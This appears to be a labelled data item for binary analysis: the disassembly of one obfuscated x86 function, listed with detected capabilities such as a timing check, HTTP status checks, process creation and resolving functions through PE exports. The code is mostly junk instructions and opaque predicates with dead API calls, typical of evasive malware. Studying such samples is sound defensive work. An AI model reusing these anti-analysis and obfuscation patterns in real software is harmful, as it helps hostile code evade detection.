Function at 0x10017cfb
Capabilities:
Check for time delay via gettickcount
Check http status code
Create process on windows
Get common file path
Resolve function by parsing pe exports
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1007a89c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1d0
push ebx
push esi
push edi
mov dword [esp + 0x70], edx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x2c], 0xad59
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 0x18], 0xa3888451
mov dword [esp + 0x40], 0x90aec51
mov dword [esp + 0x20], 0xc33bab72
mov eax, dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x2c]
mov eax, dword [esp + 0x18]
mov eax, dword [esp + 0x2c]
mov eax, dword [esp + 0x18]
push 3
pop esi
push 1
pop edi
cmp dword [esp + 0x2c], eax
jge 0x10017f19
push dword [esp + 0x4c]
movdqa xmm0, xmmword [0x10007e70]
lea eax, [esp + 0x19c]
push eax
xor ebx, ebx
lea eax, [esp + 0x190]
push eax
push ebx
lea ecx, [esp + 0x74]
mov dword [esp + 0x74], ebx
movdqu xmmword [esp + 0x198], xmm0
mov dword [esp + 0x78], ebx
mov dword [esp + 0x7c], ebx
call fcn.100172db
mov dword [esp + 0x2c], ebx
jmp 0x10017f04
mov dword [esp + 0x1c], 0xdd2ac30b
mov dword [esp + 0x18], ebx
jmp 0x10017ef6
mov dword [esp + 0x34], 0xb25631cd
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], 0x2ca8e1f9
mov dword [esp + 0xc], ebx
cmp dword [esp + 0xc], esi
jg 0x10017eea
mov ecx, dword [esp + 0x64]
mov dword [esp + 0x30], ecx
mov dword [esp + 0x28], 0x3c576436
mov dword [esp + 0x24], 0xffffffff
mov dword [esp + 0x28], esi
cmp dword [esp + 0x28], ebx
jl 0x10017e52
mov dword [esp + 0x10], 0xfc80ae7b
mov dword [esp + 0x10], ebx
jmp 0x10017e42
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x2c]
mov ecx, dword [esp + 0x64]
mov eax, dword [ecx + eax*4]
mov dword [ecx + edx*4], eax
inc dword [esp + 0x10]
cmp dword [esp + 0x10], esi
jle 0x10017e2c
dec dword [esp + 0x28]
jns 0x10017e1e
mov ecx, dword [esp + 0x30]
dec dword [esp + 0x24]
mov eax, dword [esp + 0x1c]
mov eax, dword [esp + 0x28]
mov eax, dword [esp + 0x38]
mov dword [esp + 0x3c], ebx
mov eax, dword [esp + 0x34]
mov eax, dword [esp + 0x3c]
mov eax, dword [esp + 0x1c]
mov eax, dword [esp + 0x34]
sub eax, 4
neg eax
sbb eax, eax
inc eax
add eax, dword [esp + 0x18]
jne 0x10017e8c
mov eax, ebx
cmp dword [esp + 0x24], ebx
je 0x10017e8e
mov eax, edi
add eax, 0x70d9
je 0x10017e9f
cmp dword [esp + 0x1c], ebx
je 0x10017e9f
mov eax, dword [esp + 0x40]
mov eax, dword [esp + 0x28]
xor eax, eax
cmp dword [ecx + 0xc], ebx
sete al
mov dword [esp + 0x40], eax
cmp dword [esp + 0x40], ebx
je 0x10017eb9
mov eax, dword [esp + 0x2c]
mov eax, dword [esp + 0x1c]
xor ecx, ecx
mov esi, dword [esp + 0x18]
mov edx, dword [esp + 0x64]
mov eax, dword [esp + 0x38]
push 3
cmp dword [edx + esi*4], eax
pop esi
setl cl
mov dword [esp + 0x34], ecx
inc dword [esp + 0xc]
mov ecx, dword [esp + 0x30]
cmp dword [esp + 0xc], esi
jle 0x10017e04
mov eax, dword [esp + 0xc]
mov dword [esp + 0x1c], eax
inc dword [esp + 0x18]
cmp dword [esp + 0x18], esi
jle 0x10017dda
inc dword [esp + 0x2c]
cmp dword [esp + 0x2c], esi
jle 0x10017dc9
lea ecx, [esp + 0x64]
call fcn.100165bb
jmp 0x10017f2b
xor ebx, ebx
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], bl
je 0x10017f2b
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor ecx, ecx
mov dword [esp + 0x18], 0xc964
mov eax, dword [esp + 0x18]
cmp eax, 0xdce5
push esi
setge cl
mov dword [esp + 0x24], ecx
lea ecx, [esp + 0x114]
call fcn.10015d9e
mov dword [esp + 0x1e4], ebx
mov dword [esp + 0xc], 0x6aabecba
mov dword [esp + 0x1c], ebx
jmp 0x10017f7d
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x110]
mov dword [eax + ecx*4], 0xfffffffc
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], esi
jl 0x10017f67
mov dword [esp + 0xc], ebx
jmp 0x100180bc
push 2
lea ecx, [esp + 0xd8]
call fcn.10015d9e
xor edx, edx
inc edx
mov byte [esp + 0x1e4], dl
mov dword [esp + 0x20], ebx
mov dword [esp + 0x20], 0x7822e6e7
mov dword [esp + 0x20], edx
mov dword [esp + 0x18], ebx
jmp 0x10017fcd
mov eax, dword [esp + 0x18]
mov dword [esp + eax*4 + 0x168], 0x327cb3f4
inc dword [esp + 0x18]
cmp dword [esp + 0x18], edx
jl 0x10017fba
push 2
mov dword [esp + 0x1c], ebx
pop edi
jmp 0x10017fee
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0xd4]
mov dword [eax + ecx*4], edx
inc dword [esp + 0x18]
cmp dword [esp + 0x18], edi
jl 0x10017fdc
mov dword [esp + 0x18], ebx
jmp 0x10018009
mov eax, dword [esp + 0x18]
mov dword [esp + eax*4 + 0x1c8], edi
inc dword [esp + 0x18]
cmp dword [esp + 0x18], 4
jl 0x10017ffa
mov eax, dword [esp + 0xd4]
xor edi, edi
inc edi
mov dword [eax], ebx
mov dword [esp + 0x20], 0xfffffffa
lea ecx, [esp + 0x128]
push esi
call fcn.10015d9e
mov dword [esp + 0x10], ebx
jmp 0x10018046
mov eax, dword [esp + 0x10]
mov dword [esp + eax*4 + 0x1b4], edi
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 2
jl 0x10018037
mov dword [esp + 0x10], ebx
jmp 0x10018066
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x128]
or dword [eax + ecx*4], 0xffffffff
inc dword [esp + 0x10]
cmp dword [esp + 0x10], esi
jl 0x10018053
mov eax, dword [esp + 0x128]
lea ecx, [esp + 0x128]
inc dword [eax + 8]
call fcn.100165bb
mov eax, dword [esp + 0xd4]
inc dword [eax]
cmp dword [eax], 0
jle 0x1001801c
lea ecx, [esp + 0xd4]
mov byte [esp + 0x1e4], bl
call fcn.100165bb
mov eax, dword [esp + 0xc]
mov edx, dword [esp + 0xc]
mov ecx, dword [esp + 0x110]
mov eax, dword [ecx + eax*4]
mov dword [ecx + edx*4], eax
inc dword [esp + 0xc]
cmp dword [esp + 0xc], 2
jle 0x10017f8c
mov dword [esp + 0x2c], 0xffffffff
lea ecx, [esp + 0xec]
mov dword [esp + 0x10], ebx
mov dword [esp + 0x34], 0xfffffffd
push 4
call fcn.10015d9e
mov dword [esp + 0x1c], ebx
jmp 0x10018105
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0xec]
mov dword [eax + ecx*4], 7
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], 4
jl 0x100180ef
mov dword [esp + 0x2c], ebx
jmp 0x100181a4
mov dword [esp + 0xc], ebx
cmp dword [esp + 0xc], ebx
je 0x10018156
mov eax, dword [esp + 0x2c]
mov ecx, 0xd7006986
mov eax, dword [esp + 0x2c]
mov eax, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x34]
cmp ecx, eax
mov eax, dword [esp + 0xc]
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, esi
setg cl
add edx, ecx
add edx, dword [esp + 0x10]
cmp edx, dword [esp + 0xc]
mov edx, edi
jle 0x10018158
mov edx, ebx
mov eax, dword [esp + 0x34]
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
test ecx, ecx
setns al
xor ecx, ecx
cmp eax, 0x3111738a
setne cl
imul ecx, dword [esp + 0xc]
mov dword [esp + 0x34], ecx
mov dword [esp + 0xc], ebx
jmp 0x10018199
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], 0
je 0x10018195
push ebx
call dword [sym.imp.USER32.dll_RegisterWindowMessageW]
inc dword [esp + 0xc]
cmp dword [esp + 0xc], 0x29
jle 0x10018183
inc dword [esp + 0x2c]
cmp dword [esp + 0x2c], 0xd
jne 0x10018115
mov dword [esp + 0x10], ebx
jmp 0x100181c7
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0xec]
mov dword [eax + ecx*4], ebx
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 4
jl 0x100181b5
lea ecx, [esp + 0xec]
call fcn.100165bb
mov byte [esp + 0x17], bl
mov dword [esp + 0xc], 0xeca4
mov dword [esp + 0x1c], edi
mov dword [esp + 0x38], 0x36d0c11e
mov dword [esp + 0x30], ebx
mov dword [esp + 0x20], 9
mov dword [esp + 0x20], 0x842b4cf2
mov dword [esp + 0x1c], ebx
jmp 0x1001821f
mov eax, dword [esp + 0x1c]
mov dword [esp + eax*4 + 0x16c], 0xc43cc9f1
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], esi
jl 0x1001820c
mov eax, dword [esp + 0xc]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
mov eax, dword [esp + 0xc]
mov eax, dword [esp + 0x38]
dec eax
neg eax
sbb eax, eax
inc eax
cmp esi, eax
sbb eax, eax
add eax, 0x11082d9b
neg eax
sbb eax, eax
add eax, 0xffff1d7e
mov dword [esp + 0x16c], eax
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0xc]
sub ecx, eax
mov dword [esp + 0x1c], ecx
xor ecx, ecx
mov eax, dword [esp + 0x1c]
cmp eax, edi
setl cl
cmp ecx, dword [esp + 0xc]
jne 0x1001827e
mov eax, dword [esp + 0x170]
mov eax, dword [esp + 0xc]
mov eax, dword [esp + 0xc]
dec eax
neg eax
sbb eax, eax
inc eax
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x30]
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 0x38]
sub edx, 0xf141
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
mov dword [esp + 0x20], ecx
cmp byte [esp + 0x17], 0
je 0x100183dd
mov dword [esp + 0x28], edi
mov dword [esp + 0x10], ebx
jmp 0x100182d6
mov eax, dword [esp + 0x10]
mov dword [esp + eax*4 + 0x1bc], ebx
inc dword [esp + 0x10]
cmp dword [esp + 0x10], esi
jl 0x100182c7
mov dword [esp + 0x10], ebx
jmp 0x100182f5
mov eax, dword [esp + 0x10]
mov dword [esp + eax*4 + 0x98], 0x9cd4431f
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 2
jl 0x100182e2
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], 0
je 0x10018310
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
mov dword [esp + 0x28], ebx
jmp 0x100183c7
mov dword [esp + 0x1c], 0x53bc
cmp dword [esp + 0x1c], ebx
je 0x10018338
mov dword [esp + 0x30], 8
inc dword [esp + 0x30]
jmp 0x100183ba
mov dword [esp + 0xc], 0xffffffff
cmp dword [esp + 0x1c], ebx
je 0x1001834e
mov esi, edi
cmp dword [esp + 0xc], ebx
jne 0x10018350
mov esi, ebx
xor ecx, ecx
mov dword [esp + 0x9c], 0xce3051eb
mov eax, dword [esp + 0xc]
cmp eax, 0xce3051eb
setg cl
xor edx, edx
sub ecx, dword [esp + 0x28]
mov eax, dword [esp + 0xc]
cmp eax, ecx
setge dl
sub edx, dword [esp + 0xc]
neg edx
sbb edx, edx
inc edx
sub esi, edx
sub esi, dword [esp + 0x1c]
add esi, 4
je 0x100183b4
cmp dword [esp + 0x1c], ebx
jne 0x100183d2
mov dword [esp + 0xc], ebx
jmp 0x100183ab
mov eax, dword [esp + 0xc]
mov dword [esp + eax*4 + 0x98], 2
inc dword [esp + 0xc]
cmp dword [esp + 0xc], 2
jl 0x10018398
jmp 0x100183ba
cmp dword [esp + 0x1c], ebx
jne 0x100183d2
cmp dword [esp + 0x9c], ebx
jne 0x100183d2
inc dword [esp + 0x28]
cmp dword [esp + 0x28], 2
jle 0x10018319
push 0x3aa
call dword [sym.imp.KERNEL32.dll_ExitProcess]
or dword [esp + 0x1e4], 0xffffffff
lea ecx, [esp + 0x110]
call fcn.100165bb
mov dword [esp + 0x20], 0x8c45cdbe
mov dword [esp + 0x20], 0xb2cfb631
mov dword [esp + 0x20], 0x210b999f
mov dword [esp + 0x20], 0x15de05da
mov dword [esp + 0x20], 0xfffffff6
mov dword [esp + 0x20], 0xfffffffe
mov dword [esp + 0x30], 0x29ef
mov dword [esp + 0x1c], ebx
jmp 0x1001843b
mov eax, dword [esp + 0x1c]
mov dword [esp + eax*4 + 0x50], ebx
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], edi
jl 0x1001842f
inc dword [esp + 0x30]
mov dword [esp + 0x2c], 0xe1abe8f2
mov dword [esp + 0x20], 0xfc5c2f0
mov dword [esp + 0x30], esi
mov dword [esp + 0x20], 0xffffffff
mov dword [esp + 0x30], ebx
mov dword [esp + 0x10], ebx
jmp 0x1001847e
mov eax, dword [esp + 0x10]
mov dword [esp + eax*4 + 0xac], 0xffffffff
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 4
jl 0x1001846b
mov dword [esp + 0x10], ebx
jmp 0x1001849e
mov eax, dword [esp + 0x10]
mov dword [esp + eax*4 + 0x1a8], 0x812a3cc9
inc dword [esp + 0x10]
cmp dword [esp + 0x10], esi
jl 0x1001848b
mov eax, dword [esp + 0xb8]
xor edx, edx
mov eax, dword [esp + 0xb0]
mov dword [esp + 0x30], eax
mov ecx, dword [esp + 0xb0]
mov eax, dword [esp + 0xb8]
cmp eax, ecx
mov ecx, dword [esp + 0x30]
setge dl
xor eax, eax
cmp edx, 0x1e4f
push edi
setne al
xor edx, edx
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0xbc]
cmp eax, ecx
mov eax, dword [esp + 0x24]
setle dl
xor ecx, ecx
cmp dword [esp + 0x3c], eax
setle cl
xor eax, eax
cmp edx, ecx
setg al
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0xbc]
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [esp + 0x1ac], ecx
lea ecx, [esp + 0xfc]
mov dword [esp + 0x44], 0x7f2f
call fcn.10015d9e
mov dword [esp + 0x1e4], 2
lea ecx, [esp + 0xbc]
mov dword [esp + 0x34], 0xffffffff
mov dword [esp + 0x34], 0xfffffffc
mov dword [esp + 0x20], 0x92f644ac
push esi
call fcn.10015d9e
mov dword [esp + 0x38], 0x415f
mov dword [esp + 0x24], ebx
mov dword [esp + 0x30], 0x45b3659e
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x10], ebx
jmp 0x10018596
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0xf8]
mov dword [eax + ecx*4], edi
inc dword [esp + 0x10]
cmp dword [esp + 0x10], edi
jl 0x10018584
mov dword [esp + 0x10], ebx
jmp 0x100185b8
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0xbc]
mov dword [eax + ecx*4], 0xe55459ee
inc dword [esp + 0x10]
cmp dword [esp + 0x10], esi
jl 0x100185a2
inc dword [esp + 0x30]
xor edx, edx
mov eax, dword [esp + 0x34]
mov eax, dword [esp + 0x20]
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0xf8]
mov dword [eax], ecx
mov eax, dword [esp + 0x34]
mov dword [esp + 0x34], eax
imul eax, dword [esp + 0x34], 0xfffe
cmp ecx, eax
setg dl
xor ecx, ecx
imul edx, dword [esp + 0x38]
add edx, dword [esp + 0x38]
mov eax, dword [esp + 0xbc]
cmp edx, dword [eax + 8]
mov eax, dword [esp + 0x24]
setne cl
mov dword [esp + 0x20], ecx
xor ecx, ecx
cmp dword [esp + 0x20], eax
mov eax, dword [esp + 0xbc]
sete cl
mov dword [eax], ecx
lea ecx, [esp + 0xbc]
call fcn.100165bb
or dword [esp + 0x1e4], 0xffffffff
lea ecx, [esp + 0xf8]
call fcn.100165bb
mov dword [esp + 0x20], ebx
lea ecx, [esp + 0x148]
mov dword [esp + 0x20], 0xfffffffa
mov dword [esp + 0x20], 0x3f4f46db
push edi
call fcn.10015d9e
mov dword [esp + 0x20], 0x8f5f4990
mov dword [esp + 0x20], 0xffffffff
mov dword [esp + 0x30], 0x74d
mov dword [esp + 0x1c], ebx
jmp 0x100186a1
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x148]
mov dword [eax + ecx*4], 0x1f665683
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], edi
jl 0x1001868b
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], 0
je 0x100186b9
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
dec dword [esp + 0x30]
lea ecx, [esp + 0x148]
call fcn.100165bb
mov dword [esp + 0x10], 0xad59
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 0x18], 0xa3888451
mov dword [esp + 0x40], 0x90aec51
mov dword [esp + 0x20], 0xc33bab72
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
cmp dword [esp + 0x10], eax
jge 0x100188b3
push dword [esp + 0x50]
movdqa xmm0, xmmword [0x10007e70]
lea eax, [esp + 0x1ac]
push eax
lea eax, [esp + 0x1a0]
mov dword [esp + 0x60], ebx
push eax
push ebx
lea ecx, [esp + 0x68]
mov dword [esp + 0x6c], ebx
movdqu xmmword [esp + 0x1a8], xmm0
mov dword [esp + 0x70], ebx
call fcn.100172db
mov dword [esp + 0x10], ebx
jmp 0x1001889e
mov dword [esp + 0x24], 0xdd2ac30b
mov dword [esp + 0x18], ebx
jmp 0x10018890
mov dword [esp + 0x3c], 0xb25631cd
mov dword [esp + 0x38], ebx
mov dword [esp + 0x30], 0x2ca8e1f9
mov dword [esp + 0xc], ebx
cmp dword [esp + 0xc], esi
jg 0x10018884
mov ecx, dword [esp + 0x58]
mov dword [esp + 0x20], ecx
mov dword [esp + 0x28], 0x3c576436
mov dword [esp + 0x34], 0xffffffff
mov dword [esp + 0x28], esi
cmp dword [esp + 0x28], ebx
jl 0x100187ec
mov dword [esp + 0x1c], 0xfc80ae7b
mov dword [esp + 0x1c], ebx
jmp 0x100187dc
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0x58]
mov eax, dword [ecx + eax*4]
mov dword [ecx + edx*4], eax
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], esi
jle 0x100187c6
dec dword [esp + 0x28]
jns 0x100187b8
mov ecx, dword [esp + 0x20]
dec dword [esp + 0x34]
mov eax, dword [esp + 0x24]
mov eax, dword [esp + 0x28]
mov eax, dword [esp + 0x38]
mov dword [esp + 0x30], ebx
mov eax, dword [esp + 0x3c]
mov eax, dword [esp + 0x30]
mov eax, dword [esp + 0x24]
mov eax, dword [esp + 0x3c]
sub eax, 4
neg eax
sbb eax, eax
inc eax
add eax, dword [esp + 0x18]
jne 0x10018826
mov eax, ebx
cmp dword [esp + 0x34], ebx
je 0x10018828
mov eax, edi
add eax, 0x70d9
je 0x10018839
cmp dword [esp + 0x24], ebx
je 0x10018839
mov eax, dword [esp + 0x40]
mov eax, dword [esp + 0x28]
xor eax, eax
cmp dword [ecx + 0xc], ebx
sete al
mov dword [esp + 0x40], eax
cmp dword [esp + 0x40], ebx
je 0x10018853
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x24]
xor ecx, ecx
mov esi, dword [esp + 0x18]
mov edx, dword [esp + 0x58]
mov eax, dword [esp + 0x38]
push 3
cmp dword [edx + esi*4], eax
pop esi
setl cl
mov dword [esp + 0x3c], ecx
inc dword [esp + 0xc]
mov ecx, dword [esp + 0x20]
cmp dword [esp + 0xc], esi
jle 0x1001879e
mov eax, dword [esp + 0xc]
mov dword [esp + 0x24], eax
inc dword [esp + 0x18]
cmp dword [esp + 0x18], esi
jle 0x10018774
inc dword [esp + 0x10]
cmp dword [esp + 0x10], esi
jle 0x10018763
lea ecx, [esp + 0x58]
call fcn.100165bb
jmp 0x100188c4
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], 0
je 0x100188c4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 0x18], 0xc964
xor ecx, ecx
mov eax, dword [esp + 0x18]
cmp eax, 0xdce5
setge cl
mov dword [esp + 0x20], ecx
mov eax, dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
dec eax
neg eax
sbb eax, eax
neg eax
imul eax, eax, 0xfff7
sub eax, 0xfff6
neg eax
sbb eax, eax
inc eax
sub eax, dword [esp + 0x2c]
imul eax, eax, 0x39d9
test eax, eax
je 0x10018cff
mov dword [esp + 0x74], 0xcf86511
lea ecx, [esp + 0x104]
mov dword [esp + 0x28], edi
mov dword [esp + 0x20], 0xa29822cb
push esi
call fcn.10015d9e
mov dword [esp + 0x1e4], esi
lea eax, [esp + 0x188]
push dword [esp + 0x50]
movdqa xmm0, xmmword [0x10007e80]
lea ecx, [esp + 0x90]
push eax
lea eax, [esp + 0x180]
mov dword [esp + 0x94], ebx
push eax
push ebx
movdqu xmmword [esp + 0x188], xmm0
mov dword [esp + 0xa0], ebx
mov dword [esp + 0xa4], ebx
call fcn.100172db
mov dword [esp + 0x10], ebx
jmp 0x100189ae
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x104]
mov dword [eax + ecx*4], 0x7847
inc dword [esp + 0x10]
cmp dword [esp + 0x10], esi
jl 0x10018998
mov dword [esp + 0x10], ebx
jmp 0x100189ca
mov eax, dword [esp + 0x10]
mov dword [esp + eax*4 + 0x54], 0x233fd52
inc dword [esp + 0x10]
cmp dword [esp + 0x10], edi
jl 0x100189ba
cmp dword [esp + 0x28], ebx
je 0x10018a1b
mov dword [esp + 0x20], 0xfffffffc
xor ecx, ecx
mov eax, dword [esp + 0x28]
mov eax, dword [esp + 0x28]
mov eax, dword [esp + 0x28]
mov eax, dword [esp + 0x28]
mov eax, dword [esp + 0x28]
cmp eax, edi
mov eax, dword [esp + 0x104]
setl cl
mov dword [eax + 4], ecx
xor ecx, ecx
mov eax, dword [esp + 0x54]
test eax, eax
mov eax, dword [esp + 0x54]
setns cl
imul eax, ecx
mov ecx, edi
test eax, eax
jne 0x10018a1d
mov ecx, ebx
mov eax, dword [esp + 0x8c]
mov dword [eax + 4], ecx
lea ecx, [esp + 0x8c]
call fcn.100165bb
or dword [esp + 0x1e4], 0xffffffff
lea ecx, [esp + 0x104]
call fcn.100165bb
mov dword [esp + 0x84], 0x69be541
mov dword [esp + 0x18], ebx
push 0xfffffffffffffffc
mov dword [esp + 0x14], 0xfffffffd
pop ecx
mov dword [esp + 0x2c], ecx
mov dword [esp + 0xc], ebx
cmp dword [esp + 0x18], ebx
jne 0x10018a9d
mov eax, dword [esp + 0x18]
mov eax, dword [esp + 0x18]
mov eax, dword [esp + 0x18]
mov eax, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
cmp dword [esp + 0x2c], ebx
je 0x10018a91
mov eax, dword [esp + 0x2c]
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
add eax, 0xc40a
mov dword [esp + 0xc], eax
je 0x10018c11
mov dword [esp + 0x3c], 0x511ecbfc
xor edx, edx
mov dword [esp + 0x28], 0x9a7032f1
mov dword [esp + 0x20], 0x8b01197b
mov dword [esp + 0x34], ecx
mov dword [esp + 0x30], 0xffffffff
mov ecx, dword [esp + 0x28]
mov eax, dword [esp + 0x18]
cmp eax, ecx
setne dl
xor ecx, ecx
add edx, dword [esp + 0x28]
mov eax, dword [esp + 0x28]
cmp edx, eax
setle cl
mov dword [esp + 0x28], ecx
mov eax, dword [esp + 0x28]
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x3c]
mov eax, dword [esp + 0x20]
mov eax, dword [esp + 0xc]
mov eax, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
sub eax, 0x322e099b
mov dword [esp + 0x34], eax
je 0x10018bb7
mov dword [esp + 0x24], 0x8971
mov ecx, 0xffff9860
mov eax, dword [esp + 0x24]
sub ecx, eax
add ecx, dword [esp + 0x20]
cmp ecx, 0xfffb
ja 0x10018b54
cmp dword [esp + 0x2c], ebx
jne 0x10018b54
mov edi, ebx
mov eax, dword [esp + 0x10]
xor ecx, ecx
cmp edi, eax
sete cl
xor eax, eax
cmp ecx, 0xfffffffc
setne al
cmp eax, dword [esp + 0x18]
jg 0x10018b71
mov eax, dword [esp + 0x24]
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
mov eax, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
mov eax, dword [esp + 0x2c]
mov eax, dword [esp + 0x30]
mov eax, dword [esp + 0x24]
mov eax, dword [esp + 0x18]
mov eax, dword [esp + 0x24]
mov eax, dword [esp + 0x24]
mov eax, dword [esp + 0x2c]
mov eax, dword [esp + 0x10]
mov dword [esp + 0x28], 0x2d30a937
jmp 0x10018be5
mov dword [esp + 0x2c], 0xffffffec
jmp 0x10018bde
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], 0
je 0x10018bda
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowInfo]
inc dword [esp + 0x2c]
cmp dword [esp + 0x2c], 0xe
je 0x10018bc1
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], 0
je 0x10018ce7
push 0x497
push ebx
push 0x26c
push ebx
push 0x23e2
push ebx
call dword [sym.imp.KERNEL32.dll_CompareStringW]
jmp 0x10018ce7
mov dword [esp + 0x28], ebx
mov dword [esp + 0x20], 0xfff8
mov dword [esp + 0x30], 0xffffffff
mov dword [esp + 0x24], ebx
jmp 0x10018c3e
mov eax, dword [esp + 0x24]
mov dword [esp + eax*4 + 0x160], 0xc4e1b820
inc dword [esp + 0x24]
cmp dword [esp + 0x24], 2
jl 0x10018c2b
cmp dword [esp + 0xc], ebx
je 0x10018c7c
cmp dword [esp + 0x28], 0xf662
je 0x10018c5d
mov edx, ebx
cmp dword [esp + 0xc], ebx
je 0x10018c5f
mov edx, edi
mov eax, dword [esp + 0x28]
xor ecx, ecx
cmp eax, edx
mov edx, edi
setle cl
imul ecx, dword [esp + 0xc]
imul ecx, dword [esp + 0x18]
sub ecx, dword [esp + 0x28]
jne 0x10018c7e
mov edx, ebx
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x164], ecx
mov eax, dword [esp + 0x28]
sub edx, eax
xor eax, eax
cmp ecx, edx
setl al
imul eax, dword [esp + 0x28]
test eax, eax
je 0x10018ca5
cmp dword [esp + 0x10], ebx
jne 0x10018ca7
mov edi, ebx
mov dword [esp + 0x28], edi
xor ecx, ecx
mov eax, dword [esp + 0x28]
cmp eax, 0xadff
setne cl
xor edx, edx
sub ecx, dword [esp + 0xc]
mov dword [esp + 0x20], ecx
mov ecx, dword [esp + 0x20]
add ecx, dword [esp + 0x2c]
mov eax, dword [esp + 0x18]
cmp ecx, eax
mov eax, dword [esp + 0x30]
setge dl
xor ecx, ecx
cmp edx, eax
setge cl
sub ecx, dword [esp + 0x30]
mov dword [esp + 0xc], ecx
push ebx
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x7c]
push eax
call fcn.10019e7a
jmp 0x100193f8
push 8
pop esi
mov dword [esp + 0x30], edi
lea ecx, [esp + 0xc8]
mov dword [esp + 0x28], esi
push 4
call fcn.10015d9e
mov dword [esp + 0x24], ebx
jmp 0x10018d34
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0xc8]
mov dword [eax + ecx*4], 0xd00585b7
inc dword [esp + 0x24]
cmp dword [esp + 0x24], 4
jl 0x10018d1e
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], 0
je 0x10018d4e
push ebx
push ebx
call dword [sym.imp.GDI32.dll_RectInRegion]
mov dword [esp + 0x28], edi
cmp dword [esp + 0x28], 0x17
jl 0x10018da4
mov edi, dword [esp + 0xc8]
mov dword [esp + 0x20], 0xfb023ed1
xor edx, edx
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x28]
cmp ecx, eax
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0xc8]
setge dl
mov dword [esp + 0x20], edx
xor edx, edx
cmp dword [esp + 0x20], eax
setne dl
mov dword [ecx], edx
mov eax, dword [edi + 4]
mov dword [ecx], eax
inc dword [esp + 0x28]
cmp dword [esp + 0x28], 0x17
jge 0x10018d60
xor edi, edi
